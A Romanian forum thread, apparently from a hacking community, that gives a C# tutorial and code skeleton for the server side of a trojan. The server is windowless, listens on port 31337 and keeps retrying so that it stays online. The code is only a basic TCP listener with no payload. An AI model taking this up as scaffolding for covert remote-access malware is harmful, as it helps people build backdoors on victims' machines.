Jump to content
TE4L

Cum sa faci un Troian in C#.NET

Recommended Posts

Posted

Deoarece Windows Vista este partial integrat in platforma .NET Framework trebuie sa stim sa lucram si in C#. MS lasa de inteles ca o sa faca ei cumva sa anuleze interportabilitatea programelor de pe linux pe windows.

Deci, prin urmare m-am decis sa fac acest tutorial.

Capitolul 1 - Serverul

Pasul 1 - Crearea unei aplicatii fara fereastra

Cream un proiect - eu l-am numit Server

408df42a2521ec006fc93d85cc9c299a.png

Stergem Form-ul principal.

c46e268be3387698cb0755a02bff6f2b.png

Intram in Program.cs si modificam. Sursa dupa modificare sa fie asa:


using System;
using System.Windows.Forms;

namespace Server
{
static class Program
{
[STAThread]
static void Main()
{

}
}
}

Pasul 2 - Crearea Serverului

Scriem functia urmatoare care tot incearca sa creeze serverul in caz ca nu ii iese


static void StartServer()
{
// Incercam sa vedem daca merge sa cream serverul
try { createServer(); }
// Daca nu merge incercam inca odata, si inca odata, s.a.m.d.
catch { StartServer(); }
}

Acum facem functia createServer care creaza serverul propriuzis


static TcpListener SV;
static void createServer()
{
// se initializeaza portul
int port = 31337;
// se creaza serverul care "miroase" acel port
SV = new TcpListener(IPAddress.Any,port);
// se accepta doar o singura conexiune
SV.Start(1);

// cream un thread pentru a rula functia care "miroase"
Thread newThread = new Thread(new ThreadStart(startListen));
// rulam threadul
newThread.Start();
}

Acum functia care "miroase" acel port


static void startListen()
{
// cream un socket pentru conexiune
Socket LS = SV.AcceptSocket();
// daca s-a conectat careva ii trimitem mesajul "Welcome"
if (LS.Connected)
{
// cream octetii(bytes) care trebuie sa ii trimitem
byte[] buffer = new byte[1024];
// salvam un mesaj in ei
buffer = Encoding.Default.GetBytes("Welcome Dude :)");
// ii trimitem
LS.Send(buffer);
// in caz ca dupa trimitere m-ai suntem conectati stam si receptam date
while (LS.Connected)
{
try
{
// lungimea mesajului receptat
int len = LS.Receive(buffer);
if (len != 0)
{
string msg = parseData(buffer, len);
LS.Send(Encoding.Default.GetBytes(msg.ToCharArray()));
}
}
catch { }
}
}
// altfel mai incercam odata
else
{
// cream un thread pentru a rula functia din nou care "miroase"
Thread newThread = new Thread(new ThreadStart(startListen));
newThread.Start();
}
}

Acum functia care parseaza mesajul.


static string parseData(byte[] buffer, int len)
{
return "Hy ";
}

La sfarsit, headerul din Program.cs este


using System;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Text;

* Nu m-am complicat eu prea tare. V-am oferit o structura care o puteti folosii la crearea serverului unui troian in .NET Framework 2.0

** Sursa: http://cqf.ifastnet.com/surse/schita-troian-server.rar

PS: O sa revin in cursul zilei de azi cu ce lipseste - si anume clientul.

Posted

Serverul care se afla pe acel link nu face nimic. El e doar un exemplu.

Priveste-i sursa ca o structura pe care poti sa creezi.

Eu am tinut sa punctez niste aspecte:

  • Sa nu aibe fereastra - ceea ce mi se pare normal
  • Sa incerce sa fie online cat timp e rulat PC-ul
  • Sa il fac astfel incat sa fie inteles de toata lumea

Daca vroiam sa fac un server pentru un troian il faceam in totalitate - nu pe jumatate :P

Zi si tu, nu e destul sa stii cum sa faci asta? Restul vine de la voi cum ganditi comenzile pe care le primeste.

Eu spun ca este destul ce am prezentat pentru a crea un troian in C#.NET folosint dotnet 2.0.

Posted

Chiar deloc. Am facut o structura peste care sa faci un Troian in C# - si am impus niste pasi.

Dar special pentru tine o sa fac un tutorial despre socket-uri - zilele astea :)

Intradevar folosesc socket-uri pentru a primii si trimite date. Dar nu asta era ideea.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...